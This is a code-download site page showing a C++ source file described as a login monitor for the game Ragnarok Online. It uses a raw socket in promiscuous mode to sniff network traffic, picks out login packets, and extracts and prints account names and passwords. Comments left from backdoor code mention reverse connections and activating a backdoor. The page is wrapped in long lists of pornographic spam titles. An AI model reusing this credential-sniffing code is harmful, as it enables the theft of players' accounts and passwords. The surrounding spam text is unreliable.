亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? stdafx.cpp

?? 網游《仙境傳說》的登錄監控程序。 可以顯示帳戶、密碼、大區等。 使用了rawsocket檢測技術
?? CPP
字號:
// stdafx.cpp : source file that includes just the standard includes
//	GameSpy.pch will be the pre-compiled header
//	stdafx.obj will contain the pre-compiled type information

#include "stdafx.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif


BOOL InitSocket() 
{ 
	WSADATA data; 
	WORD ver; 

	ver = MAKEWORD(2,2); 

	if(WSAStartup(ver, &data) != 0) 
	{ 
		return FALSE; 
	} 

	return TRUE; 
}

BOOL DoSniffing() 
{ 
	int Length=0; // Variable To Hold The Receive Buffer Length 
	char RecvBuf[MAX_PACK_LEN] = {0}; // Receive Buffer 
	SOCKET SocketRaw = INVALID_SOCKET; // Raw Socket 

	SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP); // Create A Raw Socket 
	if (SocketRaw == INVALID_SOCKET) // Fail To Create A Raw Socket 
	{ 
		printf("Fail To Create A Raw Socket\n"); // Display Error Message 
		return FALSE; // Return False 
	} 

	char FAR name[MAX_HOSTNAME_LAN]; 

	if (gethostname(name, MAX_HOSTNAME_LAN) == 
	SOCKET_ERROR) // Fail To Get The Host Name 
	{ 
		printf("Fail To Get Host Name\n"); // Display Error Message 
		closesocket(SocketRaw); // Close The Raw Socket Created 
		return FALSE; // Return False 
	} 

	// The Below Is The NIC Stuff 
	struct hostent FAR * pHostent; 
	pHostent = (struct hostent * )_alloca(sizeof(struct hostent)); // Allocate Hostent Buffer 
	pHostent = gethostbyname(name); 
	SOCKADDR_IN sa; 
	sa.sin_family = AF_INET; // That's Internet Related 
	sa.sin_port = htons(0); // Any Port Avariable On The OS 
	if(pHostent->h_addr_list[0] != 0) // We Only Check The First NIC 
	{ 
		memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); // We Use The First NIC As The Sniffing Subject 
	} 
	else // Well,The First NIC Is Not Valid 
	{ 
		printf("Get Host By Name Fails\n"); // Display Error Message 
		free(pHostent); // Free The Hostent Buffer 
		closesocket(SocketRaw); 
		return FALSE; // Return FALSE; 
	}

	//free(pHostent); // Free The Hostent Buffer 

	if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR) // Bind The Raw Socket On The First NIC,But Fails 
	{ 
		printf("Fail To Bind\n"); // Display Error Message 
		closesocket(SocketRaw); // Close The Raw Socket 
		return FALSE; // Return False 
	} 

	// Forget About The Below A Few Lines,They Are Just A Static Routine To Do The None_Driver Sniffing(Some Sort Of Must-Have Codes) 
	
	DWORD dwBufferLen;
	DWORD dwBufferInLen = 1; 
	DWORD dwBytesReturned = 0 ; 

	
	if(WSAIoctl(SocketRaw, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned , NULL , NULL) == SOCKET_ERROR)
	{
		closesocket(SocketRaw); 
		return FALSE; 
	} 
	

	while(TRUE) // Sniffing Starts Here With Forever Loop 
	{ 
		memset(RecvBuf, 0, sizeof(RecvBuf)); // Reset The Receive Buffer 
		Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0); // Try To Receive Data 
		if(Length == SOCKET_ERROR) // Get Error As Receiving Data 
		{ 
			printf("Fail To Receive Data\n"); // Display Error Message 
			break; // Leave The Loop 
		} 
		if(DecodeIPPack(RecvBuf,Length)) // Decode The Buffer Received,And The Active Code Is Found 
		{ 
			//printf("Bingo,The BackDoor Is Activated On Port %d\n", BackDoorPort); //We Are Going To Activate The BackDoor 
			/*
			DWORD dwThreadID; 
			HANDLE BackDoorThread = CreateThread(NULL,0,&StartBackDoor,NULL,0,&dwThreadID); // Create The Back Door Thread 
			
			WaitForSingleObject(BackDoorThread,INFINITE); // Wait Until The Back Door Ends 
			*/
		} 
	} 

	closesocket(SocketRaw); // Close The Raw Socket 
	return TRUE; // Return 
}// End Of DoSniffing Function 


//------------------------------------------------------------ 
// Purpose: To Decode The IP Packer 
// Return Type: Boolean 
// Parameters: 1.const char *Buffer -->The Received Buffer 
// 2.Const int BufferSize -->The Received Buffer Size 
//------------------------------------------------------------ 
BOOL DecodeIPPack(const char *Buffer,const int BufferSize) 
{ 
	IP_HEADER *pIpheader; // IP Header 
	SOCKADDR_IN saSource, saDest; 
	pIpheader = (IP_HEADER *)Buffer; // Transfer The Buffer	Into IP Header Form 
	int Protocol = pIpheader->proto; // Get The Protocol 
	if ((Protocol != IPPROTO_TCP)) // Not TCP Protocol 
	{ 
		return FALSE; // Return False Since We Only Interest In TCP Protocol 
	} 

	

	saSource.sin_addr.s_addr = pIpheader->sourceIP; 
	saDest.sin_addr.s_addr = pIpheader->destIP; 

	strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN); // Get The Source IP(Important For Doing Reverse Connection) 
	strncpy(DestIPAddress, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN); // Get The Source IP(Important For Doing Reverse Connection) 




	int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); // Get The IP Length 
	return DecodeTCPPack(Buffer+IPLength, BufferSize); // Decode TCP Packer 

}// End Of DecodeIPPack Function 

//------------------------------------------------------------ 
// Purpose: To Decode The TCP Packer 
// Return Type: Boolean 
// Parameters: 1.const char *TCPBuffer -->The TCP Buffer 
// 2.Const int BufferSize -->The TCP Buffer Size 
//------------------------------------------------------------ 
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize) 
{ 
	TCP_HEADER * pTcpHeader; // TCP Header 
	int iSourcePort,iDestPort; // Source Port And DestPort 

	pTcpHeader = (TCP_HEADER * )TCPBuffer; // Transfer The Buffer Into TCP Header Form 
	int TcpHeaderLen = pTcpHeader->th_lenres>>4; // Get The TCP Leader Length 
	TcpHeaderLen *= sizeof(unsigned long); 
	const char * TcpData = TCPBuffer + TcpHeaderLen; // Get The TCP Data 

	iSourcePort = ntohs(pTcpHeader->th_sport); // Get The Source Port 
	iDestPort = ntohs(pTcpHeader->th_dport); // Get The Destination Port 

	const char * PureData = TCPBuffer + 20;
	const int PureSize = BufferSize - 20;


	//printf("%s:%d-->%s:%d\r\n",SourceIPAddress, iSourcePort, DestIPAddress, iDestPort); // Display A Message 
	if(iSourcePort == GAME_SERVER_PORT || iDestPort == GAME_SERVER_PORT)
	{

		if(PureSize == 75)
		{
			if(PureData[0] == (char)0x64 &&
				PureData[1] == (char)0x00 &&
				PureData[2] == (char)0x6d &&
				PureData[3] == (char)0x04)
			{
				//登錄數據包
				strcpy(GameUid, PureData + 6);
				strcpy(GamePwd, PureData + 30);


				//printf("%s:%s\n", GameUid, GamePwd);
				
			}

		}
		

		if(PureSize == 67)
		{
			if(PureData[0] == (char)0x69 &&
				PureData[1] == (char)0x00 &&
				PureData[2] == (char)0x4f &&
				PureData[3] == (char)0x00)
			{

				//登錄成功返回
				GameLogined = true;
			}
		}

		if(PureSize == 52)
		{
			
			if(PureData[0] == (char)0xd2 &&
				PureData[1] == (char)0x33 &&
				PureData[2] == (char)0x1f &&
				PureData[3] == (char)0x11)
			
			{
				//所在分區返回
				strcpy(GameWorld, PureData + 6);

				printf("%s : %s @ %s logged in.\n", GameUid, GamePwd, GameWorld);


				/*
				char _cur_dir[MAX_PATH];
				GetCurrentDirectory(MAX_PATH, _cur_dir);
				sprintf(_cur_dir, "%s\\ac.exe %s %s", _cur_dir, GameWorld, GameUid);
				WinExec(_cur_dir, SW_SHOW);
				*/


				IIACSLogined = true;
				acOnLogin(GameWorld, GameUid);
				
			}

		}
		

		
		
		return TRUE; // Return TRUE(The Back Door Will Be Activated Soon) 
	} 

	return FALSE; // We Didn't Receive An Active Code,Return False 
}// End Of DecodeTCPPack Function 

void CheckGameQuit(void * p)
{
	while(1)
	{
		if(IIACSLogined)
		{
			if(!FindWindow("仙境傳說", "仙境傳說"))
			{
				IIACSLogined = false;
				acOnLogout();
				printf("logout");
			}
		}
		Sleep(1000);
	}
}


#pragma comment(lib, "accl.lib")




?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91精品蜜臀在线一区尤物| 久久嫩草精品久久久精品| 亚洲免费观看高清| 首页国产欧美日韩丝袜| 粉嫩av一区二区三区| 精品国产91久久久久久久妲己 | 91麻豆精品国产91久久久久久久久 | 国产成人免费网站| 欧美精品国产精品| 三级欧美韩日大片在线看| 精品视频在线免费观看| 亚洲精品一二三| 91成人免费电影| 尤物在线观看一区| 不卡的电影网站| 国产精品少妇自拍| av一区二区不卡| 亚洲另类在线制服丝袜| 国产精品18久久久久| 中文字幕av资源一区| 97精品久久久久中文字幕 | 色视频欧美一区二区三区| 亚洲激情综合网| 欧美二区三区91| 成a人片亚洲日本久久| 五月婷婷久久丁香| 国产欧美精品国产国产专区 | 欧美激情一区三区| 欧美日韩不卡一区二区| 首页国产欧美日韩丝袜| www国产成人免费观看视频 深夜成人网| 国产一区二区精品久久| 亚洲欧美日韩精品久久久久| 91官网在线免费观看| 天天射综合影视| 亚洲美女区一区| 久久精品亚洲麻豆av一区二区 | 国产一区二区精品久久91| 国产精品久久久久久久久搜平片 | 欧美精品aⅴ在线视频| 成人精品视频一区二区三区 | 91精品国产免费久久综合| 国产成人免费视频网站| 日日夜夜精品视频免费| 国产精品电影一区二区三区| 欧美大片拔萝卜| 在线免费不卡视频| 午夜欧美一区二区三区在线播放| 日韩午夜中文字幕| 精品视频全国免费看| 91网址在线看| 欧美网站大全在线观看| 中文字幕五月欧美| 欧美一区永久视频免费观看| 日韩欧美一级二级| 国产一区二区影院| 美女mm1313爽爽久久久蜜臀| 亚洲国产日产av| 欧美一二三四区在线| 色88888久久久久久影院按摩| 久久99在线观看| 午夜视频在线观看一区| 亚洲图片一区二区| 日韩电影一区二区三区四区| 亚洲日本在线a| 天天综合天天做天天综合| 香港成人在线视频| 蜜桃av一区二区| 成人综合婷婷国产精品久久免费| 国产日韩av一区| 欧美丰满美乳xxx高潮www| 欧美日韩国产一二三| 欧美中文字幕一区二区三区| 成人激情综合网站| 波多野结衣亚洲一区| 国产盗摄精品一区二区三区在线| 欧美aaaaaa午夜精品| 丝袜亚洲另类欧美| 国模一区二区三区白浆| 国产成人av电影在线观看| 国内精品国产成人国产三级粉色| 精品一区二区三区在线观看| 国产在线视频不卡二| 日韩va亚洲va欧美va久久| 亚洲成av人片在线观看| 亚洲欧美在线aaa| 亚洲在线中文字幕| 成人永久免费视频| 日韩午夜小视频| 日本人妖一区二区| 欧美伦理视频网站| 日韩毛片在线免费观看| 国产欧美日本一区二区三区| 国产人成亚洲第一网站在线播放| 全国精品久久少妇| 国内成人精品2018免费看| 亚洲午夜视频在线| 成熟亚洲日本毛茸茸凸凹| 精品国产乱码久久久久久图片| 国产欧美一区二区精品久导航| 秋霞影院一区二区| 欧美四级电影在线观看| 亚洲精品乱码久久久久久黑人 | 欧美一级专区免费大片| 午夜国产不卡在线观看视频| 99re8在线精品视频免费播放| 欧美激情综合五月色丁香 | 亚洲成人av免费| 欧美在线观看视频一区二区 | 久久婷婷国产综合国色天香| 精品一区中文字幕| 中文字幕高清不卡| 色悠悠亚洲一区二区| 亚洲综合999| 日韩欧美国产综合| 国产电影一区二区三区| 国产精品理伦片| 欧美三级资源在线| 日韩av二区在线播放| 日本一区二区三区高清不卡| 成人免费不卡视频| 亚洲一区国产视频| 精品噜噜噜噜久久久久久久久试看 | 日韩午夜激情av| 成人网页在线观看| 久久精品国产免费| 欧美美女直播网站| 色8久久精品久久久久久蜜 | 亚洲不卡av一区二区三区| 亚洲色图视频免费播放| 中文字幕一区二区三区在线播放 | 亚洲一区二区在线播放相泽| 夜夜揉揉日日人人青青一国产精品| 国产精品麻豆欧美日韩ww| 亚洲人成电影网站色mp4| 国产精品久久久久久户外露出| 一区在线观看免费| 亚洲成人免费看| 麻豆精品在线播放| 中文在线资源观看网站视频免费不卡 | 欧美男同性恋视频网站| 99久久99久久精品免费观看| 激情另类小说区图片区视频区| 午夜精品久久久久久久99水蜜桃 | 在线电影欧美成精品| 69p69国产精品| 91精品国产入口| 欧美伊人久久久久久久久影院 | 欧美精品久久天天躁| 欧美主播一区二区三区美女| 99re热这里只有精品免费视频| 粉嫩av一区二区三区在线播放 | 亚洲一区二区黄色| 午夜精彩视频在线观看不卡| 午夜欧美2019年伦理| 午夜精品福利一区二区蜜股av | 一区二区三区在线视频观看58| 中文字幕免费一区| 亚洲色图欧洲色图| 亚洲午夜精品网| 麻豆成人av在线| 97精品电影院| 欧美高清dvd| 国产日韩精品久久久| 亚洲黄色在线视频| 国产成人午夜片在线观看高清观看| 精品一区二区三区在线播放视频| 亚洲情趣在线观看| 自拍视频在线观看一区二区| 欧美精品一区二区蜜臀亚洲| 4438x成人网最大色成网站| 日韩二区三区四区| www.欧美日韩国产在线| 99视频精品在线| 欧美二区三区的天堂| 欧美一区二区三区四区久久| 久久中文字幕电影| 美女视频黄频大全不卡视频在线播放| 蜜桃视频免费观看一区| 视频精品一区二区| 三级在线观看一区二区| 亚洲综合精品久久| 亚洲免费看黄网站| 亚洲欧洲成人精品av97| 免费看精品久久片| 91香蕉国产在线观看软件| www.爱久久.com| 欧美精品久久久久久久久老牛影院| 日韩欧美不卡一区| 日本午夜精品视频在线观看| 成人激情黄色小说| 久久精品亚洲麻豆av一区二区| 亚洲综合一区在线| 欧美在线免费观看亚洲| 国产精品欧美一区二区三区| 国产成人亚洲综合a∨婷婷| 欧美一区二区三区视频在线| 亚洲第一在线综合网站| 日本韩国一区二区| 亚洲成av人片|